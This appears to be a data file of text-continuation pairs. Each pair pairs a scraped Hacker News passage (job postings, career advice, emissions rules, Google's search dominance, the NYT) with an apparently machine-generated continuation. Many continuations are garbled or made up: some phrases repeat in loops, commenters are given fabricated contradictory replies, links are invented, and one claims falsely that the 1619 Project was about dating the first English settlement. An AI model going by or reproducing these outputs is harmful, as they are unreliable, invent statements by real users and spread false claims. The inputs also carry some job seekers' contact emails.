bureaucracy all the way up and down. This has been affecting the culture\nat Microsoft little by little, also partly coupled to the stock price having\nplateaued. More and more talented devs are finding that MS lacks the\nexcitement and the reward of cutting edge development, so they are moving\nelsewhere. Also, without that talent around fewer good projects are pushed\nforward, fewer projects succeed, people become less satisfied with their jobs,\netc. (think about the movie \"It's a Wonderful Life\" only translate the bad\nstuff, on a corporate level, to hundreds and then thousands of George Bailey's\ngoing away). This makes the environment that much less rewarding for everyone\nelse who remains, so yet more"} +{"output_text": "amazon.com/Adapter-MOKiN-Macbook-\nChromebook-Gold/dp/B01M0J9ZVW)\n\n2 usb c to usb a adapters - [https://www.amazon.com/Adapter-MOKiN-Macbook-\nChromebook-Gold...](https://www.amazon.com/Adapter-MOKiN-Macbook-\nChromebook-Gold/dp/B01M0J9", "input_text": "I bought this screen (not an affiliate link) https://www.amazon.com/gp/product/B00YD3DBOC/

Step 2:\nThis cable https://www.amazon.com/gp/product/B074V5MMCH/

Step 3: I opened the menu on the monitor and changed the display port connection from Display port 1.1 to 1.2

Step 4: I connected my 2 USB-C connection on opposing sides of the MacBook (no clue why this matters, but it seems to make a difference). You'll also want to make sure you plug the charging USB-C cable directly into the MacBook. Some hubs slow down charging.

Step 5: I clicked to display preferences and clicked "scaled" while holding down the option key (adding this in case you're new to macs). My personal preference is 3200x1800

I was very happy when I finally go it to work smoothly. It's a little crazy how complicated this is though.\n======\nmegasquid\nHello. I honestly haven't experienced any problems with USB c and my macbook\npro. I do have some different adapters than you do though. Here is what I'm\nusing. Did not require any custom display settings. Just plug and play.\n\n2 HDMI to usb c adapters - [https://www.amazon.com/Adapter-MOKiN-Macbook-\nChromebook-Gold...](https://www."} +{"output_text": " regard to your situation, but I'll\noffer a few words of advice to anyone who is reading this thread.\n\n1\\. Don't take it personally.\n\n2\\. Don't take it personally.\n\n3\\. Don't take it personally.\n\n4\\. Don't take it personally.\n\n5\\. Don't take it personally.\n\n6\\. Don't take it personally.\n\n7\\. Don't take it personally.\n\n8\\. Don't take", "input_text": " sound like paranoia (and some part of it probably is). I've\nthought about talking to perhaps HR or recruiting to see if I can move to\nanother department. However, I feel as long as this individual is at the\ncompany, it will be difficult. This person is unpredictable. One day he is\nhappy. Another day, he is totally on edge and ready to shout. He might decide\nthat my lack of \"loyalty\" to him as a personal offence. He is close with upper\nmanagement (CEO, etc.) and he can easily influence them and potentially make\nmy life miserable.\n\nYou know its so funny. I love the company itself and the product. They truly\nhave some innovative technology (as cliche as that sounds).Though, I think the\nlesson I've learned from all this is that I need to look at my manager(s) as\nMUCH as (or more than) I look at the product or my salary.\n\n~~~\nspinlock\nThat sucks. Oh well, looks like you'll need to go outside of the company. Just\nremember: don't badmouth your current company when you apply for jobs; just\nsay that your ready for a new challenge. No matter how unbearable your\nposition is, it never comes off well to gripe about it to the next person that\nyou're asking for a job.\n\n------\nAndrewUnmuted\nFor me, the _big one_ is whether or not the employer offers to give you a tour\nof the workplace. If this is not offered up as a default, request it. If there\nis any refusal whatsoever, run away and don't look back.\n\n------\nYeGoblynQueenne\n>> I am a pretty average developer\n\nI don't have much advice to offer with"} +{"output_text": " and\nthen you can see the CRAPPY boss.\n\n9.)the CRAPPY boss is part of the overall package. define your framework and\nthen you can see the CRAPPY boss.\n\n10.)the CRAPPY boss is part of the overall package. define your framework and\nthen you can see the CRAPPY boss.\n\n11.)the CRAPPY boss is part of the overall package. define your framework and\nthen you can see the", "input_text": ". i will say that if things seem\ntoxic, they aren't going to get better (in my experience), and most likely\nwill get worse. so quit asap.\n\n------\noldemployee66\nbest of luck\n\n------\noldemployee66\n1.)go with wisdom, NOT with truism rules -If respect isn't reciprocal, run. be\nthankful you have a job. Some bosses are psychotic a--holes AND power alleged\nSADISTS. 2.)read the book\n[https://www.bostonglobe.com/business/2016/03/22/hubspot-\nbook...](https://www.bostonglobe.com/business/2016/03/22/hubspot-book-\nunflattering-portrait-old-school-corporate-politics-new-tech-\neconomy/FVh4ayJZ5LMLdjoGXd9oIN/story.html)\n\n3.)always ask about possibilities of TRANSFERS and other departments, even\ncontractors.\n\n4.)give email address with I LOVE TO GET ANONYMOUS MAIL.\n\n5.)sometimes you have to visit the bars and party places where the employees\nhang out for some 'human tips' \\-- know what i mean\n\n6.)over age 54 or was it 49? first career out of a few was electric - gas\ngrid. FIRST YEAR IN FIELD, about three persons GOT KILLED or?? and what waz\nintereesting was they were not necessarily accident prone.\n\n7.)look up the govbuerment stats. electric - like after the hurricane out is\nup there next to coal mining.\n\n8.)the CRAPPY boss is part of the overall package. define your framework"} +{"output_text": " 1 pound of CO2 is the same as burning 1 pound of coal. That's\nridiculous.\n\n~~~\nars\nIt's not. It's the same as burning 1 pound of coal.\n\nThe problem is that the standards are set to be too low.\n\n~~~\nWalterBright\nThe problem is that the standards are set to be too high.\n\n~~~\nars\nNo, the problem is that the standards are set to be too low.", "input_text": "\n\nI do wonder how Revenue will handle this, not only some people might find\nthemselves with a more polluting car but a larger and unexpected tax bill will\nimpact peoples pockets directly.\n\n~~~\norgansnyder\nThe CO2 amount should remain the same\u2014the issue is with other pollutants that\ncause smog. The only reason that CO2 might go up is if the fix involves\nincreasing fuel consumption. However, you might not even need the fix in\nIreland, as many European countries (as I understand it) have laxer smog\nrequirements to begin with.\n\nRegardless, though, I wouldn't buy a VW product right now, wherever I lived.\n\n~~~\ntadfisher\nEuro standards are backwards; they have stricter CO2 emissions regulations,\nbut are lax on NOx. I'd imagine they don't have a lot of smog events like what\nhappened in California during the 60s and 70s.\n\n~~~\norgansnyder\nI wouldn't call them \"backwards\". They're opposite of the US, but that's\nbecause they're optimizing for reducing a different pollutant. Smog is\ncertainly undesirable (as an asthmatic, I know that from experience), but CO2\nmay well have more dire long-term costs.\n\nOf course, the optimal situation would be to tightly regulate both pollutants.\n\n~~~\nars\nI would definitely call them backwards.\n\nThe amount of extra CO2 from a car running a better NoX system is utterly\nirrelevant compared to how much CO2 is emitted.\n\nTrading CO2 for NoX is completely indefensible. NoX is really really bad for\nthe environment.\n\n------\nWalterBright\nThe emissions standards are particularly inefficient. They say things like\nemitting"} +{"output_text": "KTOR software\ninto the future.\n\nSystem Administrators to help us build and maintain our infrastructure.\n\nIf you're interested in any of these positions, please apply at\n[https://www.native-instruments.com/en/jobs/](https://www.native-\ninstruments.com/en/jobs/)\n\n------\njames-fend\nFend | San Francisco, CA | Full-time | ONSITE\n\nFend is", "input_text": " Operators, Business Development and Sales, which\nI'm happy to answer questions about or refer you to the right person.\n[https://spire.com/careers/openings/](https://spire.com/careers/openings/).\n\n~~~\ntyrankh\nAre your software engineer positions available in Boulder, or only SF/Glasgow?\n\n~~~\nmirashii\nWe do have some positions available in Boulder as well. In general, we'll\nprefer to place individuals with the teams that they'll interfacing most with.\n\n------\nni-recruit\nNative Instruments GmbH | Frontend Software Engineer, DevOps Engineer, C++\nDeveloper, System Administrator, Scrum Master, Agile Coach | Berlin, Germany |\nONSITE | Full-time\n\nNative Instruments is a leading manufacturer of software and hardware for\ncomputer-based audio production and DJing. Our mission is to develop\ninnovative, fully-integrated solutions for all musical styles and professions.\nWe push technological boundaries and open up new creative horizons for\nprofessionals and amateurs alike.\n\nWe're looking for people with both the left and right brain fully engaged \u2013\nexceptional individuals with strong analytical minds and a passion for music\nand technology.\n\nAgile Coaches and Scrum Masters to actively promote agile thinking in our\ncompany, and to support our teams to develop their skills and reach their\ngoals.\n\nFrontend Engineers to build & maintain highly usable, state-of the-art\nwebsites and web applications.\n\nDevOps Engineers to build & maintain highly reliable and scalable API\u2019s to be\nconsumed by our music production and DJing applications.\n\nC++ Developers to help us evolve our MASCHINE, KOMPLETE, and TRA"} +{"output_text": " be answered by someone\nwho can solve your problem. I'm not going to do that for you.\")\n\n~~~\njasonlbaptiste\nI think you're right. I'm not sure if I'm going to do this, but I'm going to\ntry it out. I'm going to try to get a few customers and see if I can get them\nto switch.\n\n------\njasonlbaptiste\nI'm going to try this out. I'm", "input_text": "' marketing segments can be a good strategy.\n\n------\nantaviana\n1\\. Open the hosts file on your computer 2\\. Add the website of your\ncompetitor with some random IP address 3\\. Go back to work with your product\nand talk to your potential customers\n\n~~~\nxoail\nlol. well said.\n\n------\npatio11\nCan you walk me through the thought process of why a competitor existing means\nyou abandon this idea? Are they so central to your industry that they can\nimmediately lock up 100% of the market? Are they going to be cross-selling\nfrom something which is more widely distributed in your niche than say\nQuickbooks or Microsoft Office?\n\nDon't compete on price. Enterprise customers care about it a lot less than you\ndo, and enterprise customers are not motivated to purchase by \"We saved a few\nthousand bucks and I lost my job because the deployment blew up in our face.\"\nI'd be far more worried about that sales objection than the existence of a\ncompetitor.\n\nYou can probably compete on many other axes. One of my competitors has 400\nemployees, at least 20 of whom answer phones with customer questions. I have 0\nemployees, intentionally don't have a routable phone number, and self-assess\nat mediocre in terms of responsiveness to email. And I win sales dogfights\nwith that company, occasionally, because prospects believe I'll offer them\nbetter CS. (The winning argument, which I've stolen fragrantly from Jason\nCohen, is \"You can call them up at any hour, day or night, and instantly speak\nto someone who can't solve your problem. Or you can drop me an email, and it\nmay take me two days to get to it, but your email will"} +{"output_text": ", but\nI don't remember what it was.\n\n~~~\nJoshGlazebrook\nI think it was a zip file of your wall and private messages.\n\n------\njedberg\nI'm surprised they didn't just use the same email address as the old one.\n\n~~~\njedberg\nI guess they did, but I don't think they did it right.\n\n------\njedberg\nI'm surprised they didn't just use", "input_text": "\nsome god forsaken part of the forum nobody used), then backed off that stuff\nfor fear of being banned and made little \"utilities\" like expanding text\nboxes, and pretty stylesheets of course. There was just nooooobody paying\nattention, I can absolutely vouch for that.\n\n~~~\nchrischen\nI remember being able to get higher rates as a web developer/designer in high\nschool by being able to make special myspace pages that covered up the UI for\nbusinesses.\n\n~~~\ndawnerd\nSome of my first gigs/job were setting up new myspace layouts for indie bands.\nCompany I worked for had a custom player built and everything. I remember\nfinding some awesome hacks to make stuff work when myspace rolled out their\nown player and tried to force it on everyone.\n\n------\nfranciscop\nIn [https://help.myspace.com/hc/en-\nus/articles/201989404-Forgot-...](https://help.myspace.com/hc/en-\nus/articles/201989404-Forgot-Email-) they even spell \"myspace.com\" wrong...\n\n~~~\nsushid\nWhere? If you're referring to the capitalization, I think it's always been\n\"Myspace.\"\n\n~~~\nfranciscop\nIt might have been removed/changed, but there was a wrong link.\n\n------\nrosariotech\nDoes MySpace still exists?\n\n~~~\nJoshGlazebrook\nDon't expect there to be anything there from back when you actually used it.\nThey deleted all of your wall and private messages years ago.\n\n~~~\n13of40\nI have mine in a zip file somewhere... They had an option to download it"} +{"output_text": "-K%C3%B6rner/dp/0815953458)\n\nthat the Nazis were very good at propaganda and propaganda was very good at\ngetting people to believe in the Nazi ideology.\n\n~~~\njbooth\nI'm not sure what you're trying to say.\n\nThe article is about the Chinese government's educational system, not about\nthe Chinese people.\n\n~~~\njbooth\nI'm not sure what you're trying", "input_text": " say whether\na lot of engineering-trained persons in government is mostly a feature or\nmostly a bug. I wish China well in going the direction of Taiwan (another\nplace long ruled by technocrats) in developing the rule of law and an open\npolitical system with many guarantees of personal liberty. But it is by no\nmeans an invariant characteristic of human societies that those with the best\nmath and science minds thrive best over the long term.\n\nP.S. You did see below the fold on the submitted article, didn't you, what the\nblog author thinks China can count on just from the fact of the educational\nbackground of its leaders? Not much, just from that fact.\n\nP.P.S. to respond to first reply: It's my understanding that the government of\nthe Federal Republic of Germany consciously DE-emphasized technical education\nafter World War II in favor of more emphasis on humanities and social science\nin the primary and secondary school curriculum. I thought it would trigger a\nmention of Godwin's Law\n\n\n\nif I brought this up at first, but I've read that many observers of prewar\nGermany under the Third Reich looked at the quality of the scientists there\n(very high indeed) and thought that Germany would be hard to beat in the war.\nIt is well known to people who read interesting histories of World War II,\nsuch as mathematician T.W. K\u00f6rner's book The Pleasures of Counting,\n\n[http://www.amazon.com/Pleasures-Counting-T-\nW-K%C3%B6rner/dp/...](http://www.amazon.com/Pleasures-Counting-T-\nW"} +{"output_text": "cb50a4432c9e7a/raw/f7e9f8b7e9f8b9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f", "input_text": " facebook. There are a lot of\ninnocuous sites that have at least some small reliability on facebook and\nblocking all of facebook makes using these sites a tad bit difficult / poor\nUX.\n\n~~~\ncheckyoursudo\nAny examples? I have blocked Facebook for many years, and I can't think of a\nsingle time where it has mattered.\n\nI run without JavaScript by default, so maybe I just don't notice those kinds\nof things after years of conditioning.\n\n~~~\n__alias\nyou run without js by default? God your internet must be boring :)\n\n~~~\n__jal\nOnly whitelisted sites run JS in my browser. If by 'boring', you mean vastly\nless annoying, yes, it is terribly boring.\n\nI'd likely never look at the bulk of commercial websites if I had to render\nthem the way owners intended them to render.\n\n------\nepiapp\nFor anyone who's interested, I also maintain a tracking protection list for\nInternet Explorer. It's based originally on the Ghostery and Disconnect lists,\nbut I now update it independently. It's designed to be concise and speedy, yet\nalso comprehensive. Note, however, that due to the limitations of tracking\nprotection lists in IE, it can't block everything. You may need to supplement\nit with a small hosts file. Check it out here:\n[https://github.com/amtopel/tpl](https://github.com/amtopel/tpl)\n\n------\nangadsg\nCreated a pi-hole friendly blocklist\n[https://gist.githubusercontent.com/angad/3db2da1cb50a4432c9e...](https://gist.githubusercontent.com/angad/3db2da1"} +{"output_text": "https://medium.com/@metaverseapp/the-future-of-\naugmented-r...](https://medium.com/@metaverseapp/the-future-of-augmented-\nreality-is-here-d7f9e9a9d9b1)\n\n[https://medium.com/@metaverseapp/the-future-of-\naugmented-r...](https://medium.com/@metaverseapp/the-future", "input_text": " Catalyst, Founders Fund,\nand Goldman Sachs.\n\nFull Stack Engineer:\n[https://cadre.com/careers?gh_jid=554376](https://cadre.com/careers?gh_jid=554376)\nSenior Full Stack Engineer:\n[https://cadre.com/careers?gh_jid=75123](https://cadre.com/careers?gh_jid=75123)\nSite Reliability Engineer:\n[https://cadre.com/careers?gh_jid=460998](https://cadre.com/careers?gh_jid=460998)\nSoftware Engineer in Test:\n[https://cadre.com/careers?gh_jid=155526](https://cadre.com/careers?gh_jid=155526)\n\n~~~\nlady_gigi_\nThis company is backed by the Kushners (Thrive) and Peter Thiel. Curious:\nAnyone deterred from applying for that reason?\n\n~~~\nDrewChambersDC\nNo way, not everyone in tech is a leftist.\n\n------\nsthielen\nGoMeta | Augmented Reality | San Diego, CA | Full-time, Onsite or Remote\n\nAngel backed ($2M), led by Xooglers, GoMeta is building a platform that allows\nanyone to create interactive AR experiences. What Youtube did for the\npublishing, distribution, and discovery of video, we are doing for AR.\n\nOur early beta testers have already built all kinds of stuff -\n[https://medium.com/@metaverseapp](https://medium.com/@metaverseapp)\n\nSome other links:\n\n["} +{"output_text": "inx Vivado. I have also worked with\nCadence and Synopsys tools.\n\nR\u00e9sum\u00e9/CV: [https://www.linasr.com/wp-\ncontent/uploads/2020/03/Linas-R-Resu...](https://www.linasr.com/wp-\ncontent/uploads/2020/03/Linas-R-Resume.pdf)\n\nEmail: linasr@linasr", "input_text": "\n\nTechnologies: Good full stack- however, certainly bizdev: One of the first\ndirectors of community at DeviantART, Product and Marketing Dir- myplanet.com,\nfirst Chief Technology Evangelist and VP of Strategy at DigitalOcean\n\nR\u00e9sum\u00e9/CV:\n[https://www.linkedin.com/in/dnsroot/](https://www.linkedin.com/in/dnsroot/)\n\nEmail: je@h4x.club\n\n-Looking to help a dev focused company grow, preferably Asia Pacific, open to Canada or EU.\n\n------\nJustAPerson\nLocation: Boston\n\nRemote: No\n\nWilling to relocate: Yes (Bay Area, Seattle, New York)\n\nTechnologies: Rust (since 2014), C++, LLVM\n\nResume/CV:\n[https://jpriest.me/pdfs/jpriest_resume_spring_2020.pdf](https://jpriest.me/pdfs/jpriest_resume_spring_2020.pdf)\n\nEmail: jason@jpriest.me\n\nGitHub: [https://github.com/JustAPerson/](https://github.com/JustAPerson/)\n\nMIT '19 new grad* looking for work in backend / systems software development.\nPassionate about anything performant. I tinker with compiler and operating\nsystem development in my free time.\n\n------\nlinasr\nLocation: Munich, Germany\n\nRemote: yes, but it doesn't always work with hardware\n\nWilling to relocate: not sure yet, maybe Switzerland\n\nTechnologies: I am FPGA designer with almost decade experience. I started with\nAltera Quartus, but now work with Xil"} +{"output_text": " the memo from your mind, you are\nnot a rational person.\n\n~~~\nmatt4077\nI don't think it's a matter of \"tech journalism\" vs. \"non-tech journalism\".\n\nThe memo is a very clear and concise argument for a very specific point of\nview. It's not a \"rant\" or a \"rant disguised as a coherent argument\".\n\nIt's not a \"rant\" because it's not a rant against anything.", "input_text": " of a\nminority. If the oligarchy gets this style of democratic self-censorship past\nus, it's one more nail in the coffin of freepeoples everyone.\n\n------\nrabboRubble\nApparently, I do not have strong standing from which to comment on this. I'm\nprone to neuroticism\u200b. My bad. I would have never independently discovered\nthis about myself without a Google guy to point it out.\n\nThanks Google dude!\n\n------\nAron\nThis article is so well written I am left wondering what happens if the tide\ncompletely reverses and it becomes overwhelmingly clear that Google should not\nhave fired him.\n\n------\nquxbar\n> To me, the Google memo is an outlier\u2014I cannot remember the last time so many\n> outlets and observers mischaracterized so many aspects of a text everyone\n> possessed.\n\nHow about every article or video about cryptocurrency, PRISM, AI, 'Data\nScience' and a litany of other topics in tech? I have seen almost no 'tech'\njournalism of any merit, so I'm not surprised to see sloppy coverage of\nanother complex issue. But that shouldn't stop meaningful HN comment threads\n:)\n\nThe fact is, the memo does not simply put forth a question for debate, it\ntreats a massive legacy of misogyny in our culture as a feature, not a bug. He\nreally genuinely sees no problem with a world that pushes people into gender\nroles. In fact, he thinks we should optimize for it. It's a selfish tantrum\nthrown by someone feeling a lack of affirmation - disguised as vague argument\nthat he really understands people, tech, and companies much better than his\nbosses.\n\nIf you helps for you to remove anything about"} +{"output_text": "to do it. Pay them to fail. Pay them to fail and fail again. Pay them to fail\nand fail again. Pay them to fail and fail again. Pay them to fail and fail\nagain. Pay them to fail and fail again. Pay them to fail and fail again. Pay\nthem to fail and fail again. Pay them to fail and fail again. Pay them to fail\nand fail again. Pay them to fail and fail again. Pay them to fail and fail\n", "input_text": " CS research coding. I think it's feasible.\nIt doesn't solve all of the problems, because as discussed elsewhere in this\nthread, some of them are incentive-related and I'm not going to claim to have\nanswers to everything. :)\n\n(a) Convince more research groups to do their research on GitHub by default --\nideally, in open repositories. They get good hosted SCM, the world gets a\nbetter chance of seeing their code.\n\n(b) Create more incentives, like the USENIX Community Award, for research that\nputs out its code. I'd say that in the systems community, a pretty decent\nchunk of the papers at SOSP, OSDI, and NSDI have code releases (of varying\ndegrees of usability) accompanying them, though that's not a scientific count.\n\nMozilla could throw $1k to help create community-award-style incentives in the\nconferences they're interested in. Win-win. You get engaged with the\ncommunity, you create some incentive for people to do the right thing, and you\ncan use it as an onroad to deeper engagement with the winning authors (i.e.,\nyou can try to bring them in for internships. :).\n\n------\nmoron4hire\nWhat it will take is creating a new system of research and development that\nignores the traditional academic system. Because this has been a problem for a\nwhile and they clearly are not hearing the message.\n\nThe reason academic research works is because it takes risk on potential\nfailures, because it's only donated or grant money anyways. But academic\ninstitutions fetishize academic papers, which is the problem from the article.\n\nWe need to legitimize research outside of the academic institution. Pay people\n"} +{"output_text": " Firmware Engineer,\nSoftware Engineer, and Software Engineer (Teleoperation).\n\nIf you are interested in any of these positions, please send your resume to\njobs@nurtonomy.com.\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | ONSITE\n\nSlack is hiring! We are looking for a few positions:\n\n* Senior Software Engineer (Ruby on Rails)\n\n* Senior Software Engineer (Java", "input_text": "create transformative enterprise-level solutions.\n\nEach year, we select one outstanding individual to be the Silverman Fellow.\nThis Fellow joins the NYP Innovation Center\u2019s startup-like environment,\nreceives careful mentorship, gains unprecedented access to Hospital\noperations, and connects with senior leadership. Through this experience, he\nor she learns to take ideas from concept to practice-changing product.\n\nSee\n[http://innovatenyp.org/silvermanfellowship/](http://innovatenyp.org/silvermanfellowship/)\nfor more details.\n\nContact me personally with any questions by PM.\n\n~~~\nTech1\nDrop your contact info in your profile please!\n\n~~~\nmichaelgao\nThanks - added it.\n\n------\nnutonomy\nnuTonomy | [http://grnh.se/f75mb21](http://grnh.se/f75mb21) | dozen of\npositions in self-driving cars technology | Cambridge (MA), Santa Monica,\nZurich, Singapore | full-time\n\nCome work on our fleet of self-driving cars!\n\nnuTonomy aims to be the first company in the world to launch an autonomous\ntaxi system, and we are building up an awesome team to make this goal a\nreality. This includes software for autonomous vehicle navigation in urban\nenvironments, smartphone-based ride hailing, fleet routing and management, and\ncontrolling a vehicle remotely through teleoperation. The company\u2019s software\nhas been tested in the U.S., Singapore, and Europe.\n\nCurrently, the positions that have a formal opening are: Vice President of\nEngineering, Perception Lead, Computer Vision Research Scientist, Control\nSystem Engineer, ECU Engineer - Automotive, Embedded /"} +{"output_text": "I've been trying to do this for a while now. I've been buying beer and wine\nand drinking it, but I've been trying to avoid buying it.\n\nI've been trying to buy beer and wine from places that don't have a liquor\nlicense, but I've been having a hard time finding places that don't have a\nliquor license.\n\n~~~\ncraftinator\nI've been trying to do this for a while now. I've been buying beer", "input_text": " gentle bike ride or walk if I've had a drink.\n\nA couple of years ago I set myself a 2 drink limit. I've only broken it once\nor twice and I don't see that as an issue. Most of the time it means I'm ok to\ndrive in an emergency, can be up early without a hangover and can stay active.\nI have a beer at home 2 or 3 times a week and really enjoy it so I don't think\ndrinking alone is an issue for me.\n\nWish I'd done it years ago!\n\n------\nNicoJuicy\nIt's easy for social drinking, I did it to.\n\nThere are some great 0% beers out there in Belgium. I personally recommend\n\"Brugse Zot\" ( with alcohol) and \"Sport Zot\" ( without alcohol), nobody will\nsee the difference and it will make it a lot easier. ( Both taste great)\n\nIf you go to someone at home, just bring 1 pack of each with you and drink the\n0%. It's the best trick I found out to reduce social drinking.\n\nJust drink 1 of 2 without and try it out. It's actually not much different,\nthe social \"vibe\" is the same.\n\nThe biggest difference seems to be when you drink water ( socially)\n\nPs. Only drank 1 evening in the weekend. But it was mostly when I had a lot of\nstress from work, that I drank too much\n\n------\ncraftinator\nDon't buy alcohol. Seriously, when there's no booze around, I don't drink.\nWhen there is booze around, I often end up drinking ALL of it. Don't buy it,\nand you're good to go.\n\n~~~\nsaddestcatever\nTrue!\n\n"} +{"output_text": " catalog.\n\n~~~\nJtsummers\nI'm not sure what you mean by card catalogs. I'm not sure what you mean by\nmost libraries nowadays. I'm not sure what you mean by most pre-2000 students.\n\nI'm not sure what you mean by \"access to books (library, bookstores) and\njournals via a library (should be present in most schools or within a school\ndistrict, decent libraries in my rather small town).\"\n", "input_text": "them participate. It's been relegated to mere entertainment. I can go days\nwithout checking it.\n\nA reporter asked a Girl Scout whether the cookies they were selling were\nhealthy. She just said, \"Don't eat the whole box.\"\n\nTechnology is like relationships, they get better after you develop good\nboundaries. If you can't trust yourself with cookies, don't keep cookies in\nthe house. But really, you should just work on not being a slave to food. Or\nFacebook.\n\nNothing about technology actually keeps you from interacting more deeply with\nothers. You do that to yourself. You can't blame food for making you fat.\n\n------\nRivieraKid\nHe's such an amazingly good writer.\n\n~~~\nnoufalibrahim\nI like his \"Ode less travelled\" a lot but his other works of fiction not so\nmuch. And his blog posts (including this one) seem to be a few straightforward\npoints blown up into an essay. I realise that he enjoys language for it's own\nsake. I do too in a much lesser way but his style simply doesn't resonate with\nme.\n\n------\ndajohnson89\nThat's cute, he thinks a student in today's world can be successful without\nthe Internet.\n\n~~~\nJtsummers\nWhy not? Assuming access to books (library, bookstores) and journals via a\nlibrary (should be present in most schools or within a school district, decent\nlibraries in my rather small town), a student would be in the same situation\nas most pre-2000 students, many of whom succeeded just fine.\n\n~~~\ntomrod\nPre-2000 students had access to card catalogs within the library. Most\nlibraries nowadays use the Internet to support their"} +{"output_text": " any other search engine. I don't know how many searches I've done since\nthen, but I can tell you that google is the only search engine I use.\n\n~~~\ngilgoomesh\nI agree that Google's early technology was superior.\n\nBut I don't think that's the whole story.\n\nI think the reason Google's search engine is a monopoly is because of the\nnetwork effects.\n\nGoogle's search engine is a monopoly because it is the", "input_text": " if this is a new system but I flew through Schiphol a lot around\n2010-2012 and the baggage was very slow. Typically half an hour wait. Whenever\npossible I flew with carry on as I found it frustrating to have an hour flight\nthen half an hour wait.\n\n \nEric Schmidt's book is wrong about how Google works - mandeepj\nhttp://venturebeat.com/2014/11/30/why-eric-schmidt-doesnt-know-how-google-works/\n======\ngilgoomesh\nIf we take this article at face-value (that Google is as big as it is because\nof its monopoly in search) a related question is immediately raised: why is\nGoogle's search engine a monopoly?\n\nIf the monopoly is due to superior technology, why are Google able to write a\nbetter search engine and maintain this search engine lead?\n\nIf the monopoly is due to other effects (buying favored search-engine status\nin Safari, Firefox and pushing Chrome/Android) why don't the browsers have all\nthe power?\n\nI guess I agree with the article that Google's power is search-engine derived\nbut there's more to the source of that monopoly than I think the article\ndiscusses.\n\n~~~\nmixmax\nGoogle's monopoly is based on their early superior technology. That's it, pure\nand simple.\n\nI'm old enough to remember the web before google, and it was terrible. Back\nthen we switched between hotbot, altavista, yahoo and a few others - and they\nall sucked. Some of them ranked searches _alphabetically_ \\- try searching\nthrough 100.000 results that are ordered alphabetically.\n\nI remember the first time I ever used google. From the very first day I never\nused"} +{"output_text": "?\n\n~~~\nVeen\nThe 1619 Project was a project to find the date of the first English settlement\nin North America. It was a project that was supposed to be done by historians\nand archaeologists, but it was done by a group of journalists.\n\nThe project was a disaster. It was a disaster because it was a project that\nwas supposed to be done by historians and archaeologists, but it was done by a\ngroup of journalists.\n\nThe", "input_text": " there is then the question of would you have made that $150 profit\nwithout spending the $20? Or did you actually make more than one sale from\nthose $20 worth of ads (e.g. in-store sales etc in addition to purchases made\nonline). I am not involved in online advertising now, but at the time that was\nthe trillion dollar question that everyone was trying to answer... no idea if\nit is solved now.\n\n------\ncreaghpatr\nGiven what they are trying to do to Scott Alexander, it's hard to take NYT's\nreporting angle seriously.\n\n------\navsteele\nThis is a poor article. It mixes up several different issues and lumps them\ntogether as if they were one thing. Strongly ideological companies aren't\ngoing to behave like the bulk of their customers.\n\nI read this as yet another shot from the NYT against tech in general. It's\npropaganda.\n\n------\ndonw\nAfter the SSC debacle, NYT is likely to learn itself a thing or two about\nboycotts.\n\n~~~\nintsunny\nIf we punish respected organizations (of any kind) for every gaffe, we would\nnot have any left.\n\nIn an era where the journalists are more under attack than ever, we might want\nto remember it is easier to tear things down than build them up.\n\n~~~\nVeen\nWhat about gaffes like the 1619 Project, the shortcomings and errors of which\nthe NYT steadfastly refused to correct in the face of criticisms from\nhistorians. At a certain point, when the gaffes all line up in one direction,\none might reasonably suspect an underlying motive.\n\n~~~\nciarannolan\nWhat were some of the issues with the 1619 Project"} +{"output_text": " the best\nuniversities in the world, and the best medical care in the world.\n\n~~~\njgrahamc\nI'm not sure that's true. The British have some of the worst universities in\nthe world.\n\n~~~\npaulnelligan\nI'm not sure that's true either.\n\nI'm not sure that's true either.\n\n------\njgrahamc\nI'm not sure that's true. I'm not sure", "input_text": " It's hard to address their answers to the questions that\ndon't have right or wrong answers because they answer so well.\n\n------\npclark\nLearning how to speak and articulate what I am saying has been the most\nvaluable skill I have ever learnt.\n\nI am constantly blown away by how poorly grown adults converse.\n\n------\nTheBoff\nAs a current Cambridge undergraduate studying computer science, I find this\nabsolutely outrageous.\n\nThe article seems to imply that the scientific fields simply aren't studied\nhere.\n\nThe particular example of Lord Cherwell is particularly misleading, as his\nresults were mistrusted by other scientists of the day.\n\nAlso, the application process is completely misrepresented. I had two\ninterviews, with the people who would be supervising me. I didn't get offered\nsherry, they were sat respectably in chairs, and they asked me maths and logic\nquestions.\n\nMy director of studies informs me that he then runs all our results\n(interview, A levels, personal statement) through a number of statistical\ntests to work out who are going to be the best candidates.\n\nAlso, it's strange, I didn't think that Bill Gates and Mark Zuckerberg had any\neffect on the legislative direction of America...\n\nAnd the point about \"workaholic study is not encouraged\" is absolutely untrue.\nThe full reading list probably consisted of about 3 pages of literature. The\nworkload here is high: it's certainly not unknown to have a fifty hour working\nweek here.\n\n------\npaulnelligan\nas an Irishman, it's instinctive to have mixed feelings about the British, our\nonce brutal, now friendly neighbour.\n\nIn any case, they must be doing something right. They have some of"} +{"output_text": "ocate: Yes\n Technologies: Java, Spring, Spring Boot, Spring Data, Spring Cloud, Spring Security, Spring Boot, Spring Data, Spring Cloud, Spring Boot, Spring Security, Spring Cloud, Spring Boot, Spring Data, Spring Cloud, Spring Boot, Spring Security, Spring Cloud, Spring Boot, Spring Data, Spring Cloud, Spring Boot, Spring Security, Spring Cloud, Spring Boot, Spring Data, Spring Cloud, Spring Boot, Spring Security, Spring Cloud, Spring Boot, Spring", "input_text": "://github.com/akmittal](https://github.com/akmittal)\n\n6 years of experience building scalable web applications.\n\n------\nmongrelion\nLocation: Amsterdam, The Netherlands\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: Expert in automation and programmable infrastructure. Strategic\nconsultant.\n\nR\u00e9sum\u00e9/CV: on a case to case basis\n\nEmail: mail [a t] carlosleon [ d0t ] info\n\nI understand business and I understand tech. I'm the bridge between management\nand your engineering teams. I make sure that your team is aligned with true\nbusiness requirements. Big fan of SRE and DevOps. If you're struggling to get\nthe ball rolling, give me a call. I travel within the EMEA region. Available\nfrom March on.\n\n------\nfountstudio\nSEEKING WORK -- Dev studio with immediate availability for a new project. A\nfew of our full stack engineers are available for a new project or to\nindividually augment a team (remote/contract preference). \\--\n\nLocation: US\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: Significant experience with modern Javascript frameworks,\nNodeJS, React, React Native, Angular, Python, AWS and more.\n\nResume/CV:\n[https://www.fountstudio.com/work](https://www.fountstudio.com/work)\n\nEmail: JD {at} 